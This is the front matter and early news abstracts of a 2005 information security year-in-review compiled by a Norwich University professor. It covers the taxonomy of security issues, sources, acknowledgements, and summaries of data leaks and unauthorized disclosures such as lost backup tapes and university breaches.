

INFOSEC

YEAR IN REVIEW

2005

as of 2005-12-31

M. E. Kabay, PhD, CISSP-ISSMP
mkabay@norwich.edu

**Assoc. Prof. Information Assurance
Program Director, BSc in Information Assurance
Division of Business Management**

**Program Director, MSc in Information Assurance
School of Graduate Studies
Norwich University**

01 Introduction

Category 01 **Introduction**
2006-06-12 **Introduction**

M. E. Kabay, PhD, CISSP-ISSMP

WELCOME

Welcome to the 2006 edition of the Information Security Year in Review (IYIR) project.

In 1993 and 1994, I was an adjunct professor in the Institute for Government Informatics Professionals in Ottawa, Canada under the aegis of the University of Ottawa. I taught a one-semester course introducing information security to government personnel and enjoyed the experience immensely. Many of the chapters of my 1996 textbook, *_The NCSA Guide to Enterprise Security_* published by McGraw-Hill were field-tested by my students.

In 1995, I was asked if I could run a seminar for graduates of my courses to bring them up to date on developments across the entire field of information security. Our course had twenty students and I so enjoyed it that I continued to develop the material and teach the course with the NCSA (National Computer Security Association; later called ICSA and then eventually renamed TruSecure Corporation, its current name) all over the United States, Canada, Europe, Asia and the Caribbean.

After a few years of working on this project, it became obvious that saving abstracts in a WordPerfect file was not going to cut it as an orderly method for organizing the increasing mass of information that I was encountering in my research. I developed a simple database in 1997 and have continued to refine it ever since then. The database allows me to store information in an orderly way and -- most important -- to *_find_* the information quickly. For that purpose, I put in as many keywords as I can think of quickly; I also classify each topic using a taxonomy that has grown in complexity and coverage over the years (more about the taxonomy in the next section).

In 2004, I was privileged to begin working with Norwich students Karthik Raman (project leader), Krenar Komoni and Irfan Sehic as my research assistants. These excellent students have provided invaluable assistance in transferring data from NewsScan, NIPC/DHS reports and other sources into the database and have also done the first cut of classification and keyword generation. They have enormously improved the coverage of the field and are continuing their work with me to expand the database to further sources in the coming year. It is difficult to estimate the hundreds of hours of time they have saved me.

I teach the IYIR course as a two-day workshop for my graduate students in the Master of Science in Information Assurance at Norwich University every June during their graduate week and then periodically during the year at different institutions as the occasion arises.

The IYIR reports are posted on my Web site now; see the introductory page at <<http://www2.norwich.edu/mkabay/index.htm>> and click on the IYIR button for a list of PDF files you can read on screen, search, or print out at will.

02 Taxonomy of INFOSEC Issues

Category 02 Taxonomy of INFOSEC Issues

2006-06-12 **Introduction**

INTRODUCTION

TAXONOMY

The taxonomy (classification scheme) of INFOSEC issues has grown over the years since I began the IYIR project. This taxonomy in now way represents a structurally sound classification with unambiguous, non-overlapping, atomic concepts; it is simply an organic development of my wish to present information in an orderly way in my courses and to be able to find examples of specific issues when I need them for teaching or writing.

The taxonomy changes almost every time I use it; the current taxonomy is listed here and is used throughout this edition of the IYIR report as well as in the INFOSEC UPDATE course based on the IYIR.

Code Description

- 0 Unclassified
- 01 Introduction
- 02 Taxonomy of INFOSEC Issues
- 03 Sources of Information
- 04 Copyright
- 05 Using IYIR
- 06 The INFOSEC UPDATE Course
- 07 Acknowledgements
- 08 About the Editor
- 10 Computer Crimes (cases, indictments, convictions, sentences)
- 11 Breaches of confidentiality
 - 11.1 Data leakage
 - 11.2 Unauthorized disclosure
 - 11.3 Data theft
 - 11.4 Covert channels
- 12 Wiretapping, interception (not jamming; not govt/law enforcement)
 - 12.1 Wiretapping
 - 12.2 Interception
 - 12.3 Injection
- 13 Data diddling, data corruption, embezzlement
 - 13.1 Data diddling
 - 13.2 Data corruption & destruction
 - 13.3 Embezzlement
 - 13.4 Obsolescence
- 14 Viruses, virus-hoaxes, Trojans (assembly level or macro: not ActiveX or Java)
 - 14.1 Viruses
 - 14.2 Worms
 - 14.3 Virus/worms
 - 14.4 Trojans
 - 14.5 Virus hoaxes
- 15 Fraud (not embezzlement), extortion, slamming
 - 15.1 Fraud
 - 15.2 Extortion
 - 15.3 Slamming
- 16 INFOWAR, industrial espionage, hacktivism
 - 16.1 Industrial espionage
 - 16.2 Industrial information systems sabotage
 - 16.3 Infrastructure protection & homeland security
 - 16.4 Military & government perspectives on INFOWAR
 - 16.5 Hacktivism
 - 16.6 Disinformation, PSYOPS
- 17 Penetration, phreaking, cramming, uncapping (entering systems, stealing telephone or other services)
 - 17.1 Penetration
 - 17.2 Web vandalism
 - 17.3 Phreaking, cramming, uncapping, theft of services
- 18 Theft/loss of equipment (laptops, ATMs, computers, cables, network components)
 - 18.1 Theft of equipment
 - 18.2 Loss of equipment

- 19 Counterfeits, forgery (including commercial software/music piracy)
 - 19.1 Software piracy
 - 19.2 Music piracy
 - 19.3 Movies / TV piracy
 - 19.4 Books / e-books piracy
 - 19.5 Games piracy
 - 19.6 Counterfeit currency, credit-cards, other negotiable tokens
 - 19.7 Counterfeit legal or business documents
 - 19.8 Plagiarism
 - 19.9 Counterfeit products (hardware, clothing etc.)
- 1A Criminal hacker scene (conventions, meetings, testimony, biographies, publications)
 - 1A1 Criminal hacker conventions and meetings
 - 1A2 Criminal hacker testimony in court or committees
 - 1A3 Biographical notes on individual criminals (including arrests, trials)
 - 1A4 Criminal hacker publications
 - 1A5 Criminal hacker organizations
 - 1A6 Criminal hacker psychology
- 1B Pornography, Net-harm, cyberstalking, gambling, online auctions
 - 1B1 Adult pornography
 - 1B2 Child pornography
 - 1B3 Pedophilia, kidnapping, Net-adoption fraud
 - 1B4 Stalking & harassment
 - 1B5 Gambling
 - 1B6 Auctions
 - 1B7 Hate groups, speech
 - 1B8 Traffic in women, slavery
 - 1B9 Non-virus hoaxes, urban myths
- 1C Identity, impersonation, spoofing
 - 1C1 Impersonation
 - 1C2 Identity theft
 - 1C3 Pseudonymity
 - 1C4 Anonymity
 - 1C5 Phishing
- 1D Law Enforcement & Forensics (technology, organizations, proposals, litigation, rulings, judgements)
 - 1D1 Organizations, cooperation for law enforcement
 - 1D2 Technology for law enforcement
 - 1D3 Litigation, legal rulings, judgements affecting law enforcement
 - 1D4 Government funding for law enforcement
- 1E Homeland Security
- 20 Emerging Vulnerabilities & Defenses
- 21 Quality assurance failures including design flaws
 - 21.1 General QA failures
 - 21.2 Security product QA failures
 - 21.3 Embedded processors
 - 21.4 SCADA (supervisory control and data acquisition) systems, vehicle controls
 - 21.5 Robots
- 22 Availability problems
 - 22.1 DoS attacks
 - 22.2 DDoS attacks
 - 22.3 DoS countermeasures
 - 22.4 Accidental availability disruptions
- 23 Internet tools
 - 23.1 Java
 - 23.2 Javascript
 - 23.3 ActiveX
 - 23.4 HTML, XML
 - 23.5 E-mail & instant messaging or chat
 - 23.6 Web-site infrastructure, general Web security issues
 - 23.7 VoIP
 - 23.8 SMS
- 24 Operating systems, network operating systems,TCP/IP problems (alerts & improvements)
 - 24.1 Windows 9x/Me
 - 24.2 Windows NT/2K/XP
 - 24.3 UNIX flavors
 - 24.4 TCP/IP, HTTP, DNS
 - 24.5 LAN OS

- 24.6 WAP, WEP, Wi-Fi, Bluetooth, 802.11, WiMax
- 24.7 SWDR (Software-defined radio)
- 24.8 MAC OS
- 24.9 Peer-to-peer networking
- 24.A Secure processors
- 24.B Robust systems (hw / sw)
- 25 Computer remote control & disruption
 - 25.1 Remote control, RATs, reprogramming, auto-updates
 - 25.2 Jamming
 - 25.3 RFI, HERF, EMP/T
- 26 Health effects of electronic equipment (phones, screens, etc.)
 - 26.1 Radiation
 - 26.2 Toxic materials
 - 26.3 Heat
- 27 Security tools
 - 27.1 Vulnerability assessment
 - 27.2 Port scans
 - 27.3 Intrusion detection systems
 - 27.4 Firewalls & other perimeter defenses
 - 27.5 Honeypots
 - 27.6 Honeynets
 - 27.7 Anti-malware technology
- 28 Automated surveillance
 - 28.1 Spyware, Web bugs & cookies
 - 28.2 Scumware
 - 28.3 Keystroke loggers
 - 28.4 Cell/mobile phones/GPS/cameras
 - 28.5 Serial numbers
 - 28.6 RFID tags
- 29 Sociology of cyberspace
 - 29.1 Addiction, games & violence
 - 29.2 Cyberdating & cybersex
 - 29.3 Digital divide
 - 29.4 Online & electronic voting
 - 29.5 Online legal proceedings
 - 29.6 Flash crowds, social e-links
 - 29.7 Outsourcing
- 30 Management & Policy
- 31 The state of information security & technology
 - 31.1 Surveys, studies, audits of security
 - 31.2 Estimates, guesses, predictions, forecasts concerning security
 - 31.3 New technology with security implications
 - 31.4 Outsourcing
- 32 Censorship, indecency laws, 1st amendment (law)
 - 32.1 Censorship in the USA
 - 32.2 Censorship outside the USA
- 33 Policies, risk analysis, risk management
 - 33.1 Acceptable use policies
 - 33.2 Spam, spim, spit & splogs
 - 33.3 Antispam
 - 33.4 Authorization, access controls
 - 33.5 Risk analysis & management
- 34 Net filters, monitoring (technologies)
 - 34.1 Net filters
 - 34.2 Usage monitoring, audit trails (employees, children)
- 35 DNS conflicts, trademark violations (Net, Web)
 - 35.1 Cybersquatting
 - 35.2 Trademarks vs DNS
 - 35.3 Politics of the DNS
- 36 Responses to intrusion
- 37 Education in security & ethics
 - 37.1 Elementary & middle school
 - 37.2 High school
 - 37.3 Undergraduate degrees
 - 37.4 Master's degrees
 - 37.5 Doctoral degrees

- 37.6 Industry courses
- 37.7 Conferences
- 37.8 Web sites
- 37.9 White papers
- 38 Consumer/employee privacy, profiling, trade in personal information
 - 38.1 Consumer profiling
 - 38.2 Trade in personal information
 - 38.3 Industry efforts for privacy protection
 - 38.4 International agreements on security, privacy, Net law
 - 38.5 EU legislation & regulation concerning privacy
 - 38.6 US legislation & regulation concerning privacy
 - 38.7 Other legislation & regulation concerning privacy
 - 38.8 Law enforcement & privacy
 - 38.9 Surveillance
- 38.A Medical / HIPAA
- 40 Defensive Technology, Law of E-commerce, Intellectual Property
- 41 Cryptanalysis techniques & tools
- 42 Crypto algorithms (weakness, brute-force attacks, implementation flaws)
 - 42.1 Crypto algorithm weaknesses
 - 42.2 Brute-force attacks
 - 42.3 Crypto product implementation flaws
- 43 I&A products (tokens, biometrics, passwords, Kerberos)
 - 43.1 Tokens
 - 43.2 Biometrics
 - 43.3 Passwords
 - 43.4 Kerberos
 - 43.5 Single sign-on
 - 43.6 E-mail authentication (e.g., SPF & SenderID)
- 44 Encryption algorithms, products (including steganography)
 - 44.1 Crypto algorithms
 - 44.2 Crypto products
 - 44.3 Steganography
- 45 E-commerce security, digital signature, products, digital cash, e-payments
 - 45.1 PKI (Digital signatures / certificates)
 - 45.2 Digital cash
 - 45.3 Micropayments
 - 45.4 E-payments / e-wallets / credit-cards
 - 45.5 Watermarks / digital-rights management / copy protection
 - 45.6 Smart cards and other e-commerce security measures
 - 45.7 Sales taxes on Internet commerce
 - 45.8 E-commerce laws
 - 45.9 E-shopping carts
- 46 Cryptography exports from US; Key escrow
- 47 US computer-crime laws
- 48 Foreign cyberlaws (not cases or sentences)
 - 48.1 Non-US cryptography laws
 - 48.2 Non-US computer-crime laws
 - 48.3 Non-US intellectual property laws
- 49 Privacy, government surveillance, legislation, agreements
- 4A Evolution of Net law: framing, pointing, linking, jurisdiction
 - 4A1 Framing
 - 4A2 Pointing, linking, deep linking, metatext
 - 4A3 Jurisdiction
 - 4A4 Blocking
 - 4A5 Archives
 - 4A6 Libel
 - 4A7 Spam
 - 4A8 Liability
- 4B Intellectual property: patents, copyrights (law)
 - 4B1 Copyrights
 - 4B2 Patents
 - 4B3 Reverse engineering
 - 4B4 EULA (End-user license agreements)
 - 4B5 Trademarks
- 4C Security paradigms, risk management, site-security certification, professional certification
 - 4C1 Paradigms, security standards

- 4C2 Risk management methodology & tools
 - 4C3 Certification of site security, privacy protection
 - 4C4 Professional certification in security, auditing
 - 4C5 Academic/Industry/Vendor/Govt efforts
 - 4D Funny / miscellaneous
-

03 Sources of Information

Category 03

2006-06-12

Sources of Information

Introduction

INTRODUCTION

In the early days, I wrote all the abstracts myself. As the size of the database grew, this practice became a terrible and limiting burden. I was thrilled -- and still am -- to get permission to quote the superb abstracts written by John Gehl and Suzanne Douglas, original editors of EDUPAGE and now of the daily *_NewsScan_* and weekly *_Innovation_* e-publications. At this point, their work is a major component of the IYIR.

In addition, I have been quoting (with attribution) many of the contributors to Peter G. Neumann's RISKS Forum Digest. I regret that I have fallen behind in summarizing this publication since about 2004 but hope to get back on track with the help of volunteers and assistants.

Lately, the Daily Reports from NIPC (National Infrastructure Protection Center) (now the DHS daily report) have proven valuable in supplementing the material at hand.

Bruce Schneier, famed cryptographer and a valued commentator on all matters of security, has kindly allowed me to include excerpts from his monthly columns in his Crypto-Gram newsletter.

I also naturally continue to write my own abstracts of interesting articles when necessary.

For a list of news sources that cover information security news, see <
http://www2.norwich.edu/mkabay/overviews/infosec_ed.pdf>.

For more information about NewsScan and Innovation, see <<http://www.newsscan.com>>.

For more information about RISKS Forum Digest, see the archives at <<http://catless.ncl.ac.uk/Risks/>> for HTML versions or at <<http://the.wiretapped.net/security/textfiles/risks-digest/>> for text versions.

Dr Neumann asks that reprints from RISKS include the following note and the following should be considered as a blanket notification for all verbatim republication of RISKS materials throughout this database:

From the

FORUM ON RISKS TO THE PUBLIC IN COMPUTERS AND RELATED SYSTEMS (comp.risks)

ACM Committee on Computers and Public Policy, Peter G. Neumann, moderator

See <<http://www.csl.sri.com/users/risko/risksinfo.html>> for full information.

Reused without explicit authorization under blanket permission granted for all Risks-Forum Digest materials. The author(s), the RISKS moderator, and the ACM have no connection with this reuse.

Information Security Magazine is at <<http://www.infosecmag.com>> and subscriptions to the Security Wire Digest are available through <<http://infosecuritymag.bellevue.com>>.

The NIPC Daily Report is available through <<http://www.nipc.gov/>>.

For free subscriptions to Bruce Schneier's Crypto-Gram, see <<http://www.counterpane.com/crypto-gram.html>>.

04 Copyright

Category 04

Copyright

2006-06-12

Introduction

INTRODUCTION

As you can see at the bottom of every page of the IYIR report and the INFOSEC UPDATE, I assert copyright over this presentation (only) of the information my research team and I have collected. This is called a _compilation copyright_ and in no way derogates the copyrights of all original copyright holders. My contribution is primarily the organization and presentation of this information. I do hold the copyright on my own abstracts and on the keywords. I assert copyright purely to prevent scoundrels from SELLING what is supposed to be available FREE. The PDF version of the book you are looking at will be posted on my Web site for anyone to use.

05 Using IYIR

Category 05

Using IYIR

2006-06-12

Introduction

INTRODUCTION

Anyone who wants to refer to these IYIR and INFOSEC UPDATE documents is completely welcome to do so freely _provided_ that no one tries to make other people pay for the materials. You are welcome to reprint the documents provided that each page you choose to print is in the original format (that's why I use Acrobat PDF files to distribute the information). Just remember, if I ever find out that someone has charged somebody for what I freely give away I am going to be really, really mad!

You may, of course, use the original documents as you and the copyright owners agree.

As for posting these files on your own Web sites, DON'T! I update the files constantly and absolutely do not want to have to hunt down old copies of the work and replace them with newer versions. So you're welcome to link to the files, but please do not copy them to any other Web sites.

06 The INFOSEC UPDATE Course

Category 06

The INFOSEC UPDATE Course

2006-06-12

Introduction

INTRODUCTION

The INFOSEC UPDATE course is usually a two-day workshop that brings participants up to date on topics across the entire field of information security. The four half-day sessions cover the following broad areas:

Day 1:

AM: Computer Crime Update

PM: Emerging Vulnerabilities

Day 2:

AM: Management , Corporate Policy

PM: Cryptography, Law, Public Policy

For full details, see section 2 on Taxonomy.

I used to prepare slides based on the abstracts so that the students would have a workbook consisting of keywords in the slide and the details at the bottom of the page. However, this approach became unmanageable by the time I reached workbook lengths of 475 pages. It was simply too much effort for relatively minor benefits. I have therefore tried a different, much simpler approach over the last few years. I mark selected topics in my database and created the workbook from a report file. The whole thing takes me a few minutes and allows me to keep the workbook absolutely up to date. I hope that course participants will find it a useful resource and an acceptable format for the course.

Starting in 2005, I spared my MSIA graduate students the agony of sweltering through two solid days of this stuff and shrank their version of the INFOSEC UPDATE to a single day. However, if we ever get air conditioning, watch out!

07 Acknowledgements

Category 07 *Acknowledgements*
2006-06-12 **Introduction**

INTRODUCTION

ACKNOWLEDGEMENTS

I would like to acknowledge the encouragement and support of many colleagues who have contributed to this project over the years. In particular, John Gehl and Suzanne Douglas, original editors of EDUPAGE and then later of NEWSSCAN and INNOVATION, stand out for their kindness in so generously allowing me to quote them verbatim in so many hundreds of stories. Thanks guys -- I simply could not do this without your help.

The editors of EDUPAGE kindly continued the tradition and have allowed me to include occasional abstracts from their publication.

My colleagues at NCSA / ICSA / TruSecure / CyberTrust Corporation were always supportive and encouraging during the years I continued this work until 2000; I especially thank my favorite curmudgeon, David Kennedy, Director of Research for CyberTrust, for many years of continuing friendship.

I also want to thank my colleagues Phil Susmann and COL Tom Aldrich at Norwich University and the National Center for the Study of Counterterrorism and Cybercrime for their encouragement and support and the opportunity to teach the two-day INFOSEC Update for several years at the annual e-ProtectIT Conference (<http://www.e-protectIT.org>).

My sincere thanks to my Norwich University research assistants, Karthik Raman (Chief Boss Man and Gang Leader), Krenar Komoni, Michael Martell, and Chris Aldrich. Thanks also to MSIA alumni volunteers Clark Cummings and Steve Lovas for their contributions. Josh Durdin and Lofton Newton, although newcomers to the project, have started their contributions well and I look forward to further work with them.

The School of Graduate Studies, under the leadership of Founding Dean Fred Snow and of Dean Bill Clements, has generously funded the research assistantships that have permitted the project to progress without imposing total exhaustion on me. Many thanks.

Thanks to Dr Fred Snow, former Dean of Online Graduate Studies and to Dr Bill Clements, current Dean, for their support (moral and financial) in building the research team that has made this project easier.

And finally, as always, I thank my wife, Deborah Black, light of my life, for all her infinitely varied support over many years and in all ways.

08 About the Editor

Category 08

2006-06-12

About the Editor

Introduction

INTRODUCTION

Here's a little information about me. For exhaustive, not to say exhausting, details, you can visit my Web site at <<http://www2.norwich.edu/mkabay>> and click on my CV link.

I began programming in assembler at age 15 in 1965. In 1976, I received his PhD from Dartmouth College in applied statistics and invertebrate zoology. Joined a compiler team in 1979 for a new 4GL and RDBMS in the U.S. and then joined Hewlett-Packard Canada in 1980, winning the Systems Engineer of the Year Award in 1982. Have published over 850 technical papers in operations management and security, a 1996 textbook on security, was Technical Editor of the 4th Edition of the *Computer Security Handbook* (Wiley, 2002) and am working on the 5th edition with Senior Editor Sy Bosworth and new third editor Eric Whyne. Have lectured on security and information warfare at the US Army War College, NATO HQ, NATO Counterintelligence, and in the UK, France, Germany, Japan and China. Returned to academia full time in July 2001 and am Associate Professor of Information Assurance in the Division of Business & Management at Norwich University, Northfield, VT 05663-1035 USA as well as the Director of the Master's Program in Information Assurance (<http://www.msia.norwich.edu/>) and of the Bachelor's program in IA (<http://www.norwich.edu/academics/business/informationassurance.html>).

V: 802-479-7937

E: mkabay@norwich.edu

W: <http://www2.norwich.edu/mkabay>

11

Breaches of confidentiality

Category 11

Breaches of confidentiality

2005-10-01

data theft identity theft terminology dataflation privacy law court proof

Information Security Magazine; <http://tinyurl.com/9aanv>

STEPHEN COBB COINS NEW TERM: DATAFLATION

Security expert Stephen Cobb writes,

>I think most people would agree that 2005 has not been, so far, a good year for information security. Indeed, when you add up the total number of personal data records reported as compromised in the first six months you get a figure that some people justly consider alarming: 66 million. But I suggest that this number, and the phenomenon it represents, goes way beyond alarming, way out into previously uncharted territory. In fact, I respectfully suggest that we don't yet have the vocabulary needed to describe what is happening to personal data today, let alone understand all of the implications.

In an effort to remedy this situation I propose a new word for that vocabulary: dataflation. But before I offer my definition of dataflation, let me provide some context for that 66 million. In the most recent U.S. census the number of Americans aged 18 or older was 210 million. If you factor in the numerous compromises of personal data records that occurred in 2004, it is entirely possible that data relating to one in three American adults is now "out there," available to be abused. <

[More in the complete article.]

11.1 Data leakage

Category 11.1 Data leakage

2005-02-07 **iPods medical imaging UCLA Osirix radiologists Macintosh security**

EDUPAGE; http://news.com.com/2100-1041_3-5566145.html

USING IPODS FOR MEDICAL IMAGING AT UCLA

Physicians at the University of California, Los Angeles (UCLA), are using iPods in conjunction with an open source application developed in-house to avoid some of the steep costs of medical imaging. Physicians Osman Ratib and Antoine Rosset created Osirix, an open source tool that allows radiologists to participate in teleconferences and see high-resolution medical images on desktop Macintosh computers, rather than the \$100,000 workstations that were previously required. Files for the 3D images are too large for many media, so Ratib and his team turned to the iPod, which offers a portable storage medium of 60GB. Although some cautioned that using iPods for storage presents a security risk, Ratib said the risk is no greater than with any other medium. "It's not the device, it's how you use it," he said. "When [users] are outside the institution, they can be compliant or not."

Category 11.1 Data leakage

2005-04-07 **German police hard drive sale confidential information eBay encryption password protection absent**

DHS IAIP Daily;

<http://www.scmagazine.com/news/index.cfm?fuseaction=newsDetails&newsUID=023c9f0f-7295-49c5-b349-847df8e174b2&newsType=Latest%20News>

GERMAN POLICE HARD DRIVE CONTAINING CONFIDENTIAL INFORMATION SOLD ON EBAY

A hard drive full of confidential police data has been sold on eBay, for only \$25. Germany's Spiegel newspaper reported earlier this week that the 20GB hard drive contained a raft of information about Brandenburg police, including details of political security situations. "This week's exposure of leaked and highly critical information from the Brandenburg police in Germany reinforces how important it is to never let mobile devices or hard drives leave the office without being adequately protected with encryption and strong password protection -- even after they have been discarded," said Peter Larsson, CEO of mobile technology company Pointsec. The drive was eventually bought by a student from Potsdam who alerted police once he realized what it contained.

Category 11.1 Data leakage

2005-06-10 **personal information privacy confidentiality control banks magnetic tapes customer data loss theft secure electronic channels**

RISKS; <http://www.nytimes.com/2005/06/09/business/09data.html?th&emc=th> 23 90

THE SKY HAS *ALREADY* FALLEN

In Feb 2004, a Japanese division of Citibank had a mag tape disappear during shipment by truck from its data management center in Singapore, with information on about 120,000 customers. The tape has never been found. This week it happened again to a box of tapes sent by United Parcel Service, with info on nearly 4,000,000 American customers. Citigroup is apparently in the process of responding to the Singapore case with the company-wide introduction of "secure electronic channels" -- although that process is not yet complete. [Tom Zeller Jr., *The New York Times*, 9 Jun 2005; abstract by PGN]

Zeller's article has more on ChoicePoint, 10 million consumers falling victim to identity theft each year, discussion of the 2003 California law that mandates reporting, and this delightful quote from Mike Gibbons (former FBI chief of cybercrime investigations, now a consultant for Unisys): "I think there are some people who dismiss this as a sky-is-falling problem. But the sky has already fallen and it's just a matter of when a piece hits you in the head."

Also a quote from Bruce Schneier: "There are social expectations about security that can't be met, but the practices are still so shoddy."

<i>Category</i>	<i>11.1</i>	<i>Data leakage</i>			
2005-07-31		data leakage discarded systems data software wiping erasure scavenging backups			
RISKS; http://www.geoffreyhuntley.com/news/data-security-101/			23		95
WIPE YOUR DISKS BEFORE SELLING YOUR COMPUTERS -- AND DON'T INCLUDE BACKUP TAPES					

The State Transit Authority of New South Wales in Australia sold 18 IBM RS/6000 E30 servers to the company where Geoffrey Huntley works. He found that "[T]he systems contained not only the complete software used by the SAT-NSW but also employee data including PIN information used to 'secure' the system against unauthorized access, and ticketing data including incident reports filed by customers. For good measure, the backup tapes were also included."

[Abstract by Florian Liekweg]

<i>Category</i>	<i>11.1</i>	<i>Data leakage</i>			
2005-11-21		hurricane Katrina disaster lost records encryption backups critical			
DHS IAIP Daily; http://fcw.com/article91509-11-21-05-Print					
LOST RECORDS CONVINCE OFFICIALS THAT ENCRYPTED DIGITAL BACKUPS ARE CRUCIAL					

After Hurricane Katrina devastated the Gulf Coast region, along with many vital records, federal officials realized they needed to digitize such records to prevent future data loss. But storage analysts say federal agencies are behind the curve when it comes to safeguarding digitized records stored elsewhere. Federal agencies are not encrypting their off-site data, said Jon Olsik, a senior analyst at research firm Enterprise Strategy Group. Katrina's destruction demonstrated the importance of electronic backup copies of documents such as health records and flood maps. But by keeping copies of critical information, agencies also create new opportunities for data theft. Olsik is the author of a recent survey that asked 388 agencies and companies whether they encrypt backup data as they copy it to tape. "Of the five industry segments we looked at, [the local/federal] government was the worst," he said. Only three percent of government organizations said they always encrypt backup data, and 77 percent said they never do. Overall, only seven percent of the organizations surveyed said they always encrypt backup data, despite the fact that vendors have offered backup encryption tools for at least 15 years, Olsik said.

<i>Category</i>	<i>11.1</i>	<i>Data leakage</i>			
2005-12-23		Microsoft Vista metadata operating system files tags IT document information security privacy risk			

DHS IAIP Daily; http://www.newsfactor.com/news/Gartner-Warns-About-Vista-Metadata/story.xhtml?story_id=113003ORER88

Gartner warns about Microsoft Vista metadata problem.

Windows Vista, the next version of Microsoft's Windows client operating system, will give users the ability to search for files by looking for information in the file's metadata tags. However, a report by IT research firm Gartner warned that allowing users to search for metadata tags in this manner could result in private information being inadvertently disclosed. Metadata consists of "data about data." It is supplementary information about the author of a document, its various revisions, and any changes that have been made, explained Neil MacDonald, Gartner's vice president and distinguished analyst of information security, privacy, and risk. The Gartner report, "Plan To Deal with Metadata Issues with Windows Vista," written by MacDonald and Gartner analyst Michael Silver, outlines one example in which an employee might give a document about a client the metadata tag "bad client." If that document were then sent to the client, considerable embarrassment, even loss of business, could result. The Gartner report suggested that firms must have a strategy in place for dealing with metadata before adopting Windows Vista. The referenced Gartner report is available for purchase: http://www.gartner.com/

<i>Category</i>	<i>11.1</i>	<i>Data leakage</i>			
2005-12-28		data loss personal data employees customers tapes SSN Social Security Numbers			
RISKS; Boston Globe; http://tinyurl.com/nnrxl			24		14

MARRIOTT LOSES CONTROL OF DATA ON BACKUP TAPES

The timeshare unit of Marriott International Inc. is notifying more than 200,000 people that their personal data are missing after backup computer tapes went missing from a Florida office. The data relates to 206,000 employees, timeshare owners and timeshare customers of Marriott Vacation Club International, the company said in a statement Tuesday. The computer tapes were stored in Orlando, where the unit is based.

The company did not say when the tapes disappeared. They contained Social Security numbers, bank and credit card numbers, according to letters the company began sending customers on Saturday. . . . [Abstract by Monty Solomon]

11.2 Unauthorized disclosure

Category 11.2 *Unauthorized disclosure*

2005-01-10 **hackers George Mason University personal information faculty students names photos Social Security numbers campus ID numbers identity theft**

EDUPAGE; http://news.com.com/2100-7349_3-5519592.html

HACKERS HIT GEORGE MASON

George Mason University has become the latest institution of higher education to be the victim of hackers' accessing personal information of faculty and students. University officials said that hackers gained access to information including names, photos, Social Security numbers, and campus ID numbers for "all members of the Mason community who have identification cards." An e-mail sent by the university's vice president for information technology indicated that the intruders appeared to be seeking "access to other campus systems rather than specific data," but the message warned that the information the hackers obtained could be used for identity theft. George Mason had ended its practice of putting Social Security numbers on ID cards, replacing them with university-generated numbers, in response to a Virginia state law that required such a change. The university maintains a database, however, that includes Social Security numbers. University officials discovered the intrusion on January 3 and said the hackers gained access to records of more than 30,000 faculty, staff, and students.

Category 11.2 *Unauthorized disclosure*

2005-01-14 **Apple Harvard student information products**

EDUPAGE; <http://online.wsj.com/article/0,,SB110566157500825906,00.html>

APPLE SUES HARVARD STUDENT

Apple Computer has filed a lawsuit against the operator of a Web site that revealed information about upcoming products before the company publicly unveiled them. The ThinkSecret Web site posted rumors of a sub-\$500 Macintosh computer and an iPod that uses flash memory just days before those products were announced at the Macworld show. Apple has a reputation for being one of the most secretive high-tech companies concerning new products, and it alleges that the information posted by ThinkSecret was obtained illegally. The operator of the site, however, which many industry analysts regard as one of the premier rumor sites about Apple, turned out to be 19-year-old Nick Ciarelli, a freshman at Harvard. Ciarelli, who started the site six years ago, said he has done nothing wrong in collecting material to post. "My reporting practices are the same that any journalists use," he said. "I talk to sources, I confirm details, I follow up on tips and leads that I get." Intellectual-property attorney Robert E. Camors said it will be difficult for Apple to prove harm in the case because the information revealed does not constitute trade secrets as traditionally defined and because the information was not revealed sufficiently ahead of company announcements for competitors to benefit from it.

Category 11.2 *Unauthorized disclosure*

2005-01-23 **UNC hard drive personal information employees beneficiaries names Social Security numbers bank**

EDUPAGE; <http://www.thedenverchannel.com/news/4121643/detail.html>

UNC HARD DRIVE WITH PERSONAL INFORMATION DISAPPEARS

News of a missing hard drive at the University of Northern Colorado (UNC) in Greeley went from bad to worse when university officials revealed that the device included personal information not only for employees but also for their beneficiaries. The hard drive contained data including names, Social Security numbers, and bank account numbers for nearly 16,000 current and past employees of the university, as well as for beneficiaries, bringing the total to perhaps more than 30,000. At a meeting of about 200 university employees, UNC President Kay Norton said that although the school does not know whether the drive was stolen or was simply misplaced, the odds of theft increase as the days pass without locating the drive. Norton said, "We have to assume the worst," and UNC has launched a criminal investigation. UNC will not reimburse individuals for the costs of changing accounts to protect themselves, according to Norton, but some banks will change accounts without a charge.

<i>Category</i>	<i>11.2</i>	<i>Unauthorized disclosure</i>
2005-01-26		data leakage unauthorized disclosure medical information Web site university FERPA legal liability pharmaceutical usage drug history

RISKS	23	68
-------	----	----

HARVARD UNIVERSITY DATA LEAKAGE OCCASIONS HORRIBLE PUN

RISKS moderator Peter G. Neumann reported on a case of potential data leakage:

An investigation by *The Harvard Crimson* was reported in that newspaper on 21 Jan 2005, noting that a Harvard University website, iCommons Poll Tool, for months had contained confidential information on the drug purchase history of students and employees that was easily accessible to outsiders. After *The Crimson* demonstrated this to university officials, the website was immediately shut down. Authentication information required for access was based on a Harvard ID and birthdate that were easily available on the Web. In addition, the Family Educational Rights Privacy Act (FERPA) requires that students may request a special security status for total privacy, and that status was not properly enforced. The university's drug insurer, PharmaCare, also had the same problems -- which still existed at the time of the article in *The Crimson*. This is seemingly a violation of the HIPAA legislation, which prohibits unauthorized disclosure of individual's medical records.

[I suppose if medicinal uses of marijuana were covered by insurance,
someone might have found the situation HIPAA-pot-amus-ing. PGN]

<i>Category</i>	<i>11.2</i>	<i>Unauthorized disclosure</i>
2005-01-27		autocomplete e-mail addresses data leakage confidentiality

RISKS	23	69
-------	----	----

AUTOCOMPLETE... AUTOLYSIS... AUTOREPAIR... AW TO HELL WITH IT

Thom Kuhn points out the RISKS of allowing e-mail programs to autocomplete addresses:

A while ago I was listening to a public affairs program on NPR. One of the speakers was representing a trade association, and his comments really got to me. I Googled him and sent him a somewhat venomous e-mail. A few hours later I got an even more venomous reply. End of story? Not quite. My e-mail address was now in his shortcut list. A few weeks later I was copied on what was clearly meant to be an internal and confidential e-mail from this gentleman to this colleagues.

<i>Category</i>	<i>11.2</i>	<i>Unauthorized disclosure</i>
2005-02-02		Acer Australia privacy breach confidentiality customer details shoppers Web site e-mail orders

NewsScan; <http://australianit.news.com.au/articles/0>

PRIVACY BREACH AT ACER SITE

